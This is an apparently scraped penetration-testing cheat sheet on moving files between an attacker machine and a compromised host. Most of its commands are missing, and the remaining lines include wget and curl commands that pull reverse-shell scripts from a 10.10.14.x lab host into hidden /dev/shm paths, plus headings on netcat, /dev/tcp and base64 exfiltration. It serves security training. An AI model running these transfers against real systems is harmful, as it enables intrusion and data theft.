Transferring Files
Web server
wget http://10.10.14.1:800/linenum.shcurl http://10.10.14.1:8000/linenum.sh -o linenum.shDifferent methods
Linux
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSDWindows
DNS
ICMP
Attacker Box
python script
Victim
Linux
Windows
Python
Uploading a File Using a Python One-liner
PHP
PHP Download with File_get_contents()
PHP Download with Fopen()
PHP Download a File and Pipe it to Bash
JavaScript
create a file called
wget.js
Download a File Using JavaScript and cscript.exe
VBScript
create a file called
wget.vbs
Other Languages
Ruby - Download a File
Perl - Download a File
RDP
Mounting a Linux Folder Using rdesktop
Mounting a Linux Folder Using xfreerdp
Linux
MD5
SSHFS
If the victim has SSH, the attacker can mount a directory from the victim to the attacker.
NC
Linux
-q 0will tell Netcat to close the connection once it finishes
Windows
Receive file
send
Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File
Note: The same operation can be used to transfer files from the compromised host to our Pwnbox.
SCP
Encode and Decode Files
Encode File
Decode File
SMB Server
Create SMB server
FTP Server
Windows
MD5
powershell
Bat
PowerShell Base64 Encode & Decode
Encode
Decode
PowerShell Web Downloads
PowerShell Remoting
To create a PowerShell Remoting session on a remote computer, we will need
administrative access,
be a member of the
Remote Management Usersgroup,or have explicit permissions for PowerShell Remoting in the session configuration.
From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.
Create a PowerShell Remoting Session to DATABASE01
Copy samplefile.txt from our Localhost to the DATABASE01 Session
Copy DATABASE.txt from DATABASE01 Session to our Localhost
SMB Downloads
Copy a File from the SMB Server
New versions of Windows block unauthenticated guest access
Mount the SMB Server with Username and Password
SMB Uploads
Commonly enterprises don't allow the SMB protocol (TCP/445) out of their internal network because this can open them up to potential attacks.
An alternative is to run SMB over HTTP with
WebDav.WebDAV(RFC 4918) is an extension of HTTPWebDAVprotocol enables a webserver to behave like a fileserver, supporting collaborative content authoring.WebDAVcan also use HTTPS.
Configuring WebDav Server
Connecting to the Webdav Share
Uploading Files using SMB
FTP Downloads
Transfering Files from an FTP Server Using PowerShell
Create a Command File for the FTP Client and Download the Target File
this can be done by typing commands
PowerShell Web Uploads
use a PowerShell script PSUpload.ps1
PowerShell Base64 Web Upload
use Netcat to listen in on a port we specify and send the file as a
POSTrequest
Attacker
get the following
decode the string
Victim
Encryption while Transfer
File Encryption on Windows
One of the simplest methods is the Invoke-AESEncryption.ps1
Invoke-AESEncryption.ps1
Import Module Invoke-AESEncryption.ps1
File Encryption Example
File Encryption on Linux
Encrypting /etc/passwd with openssl
Decrypt passwd.enc with openssl
Last updated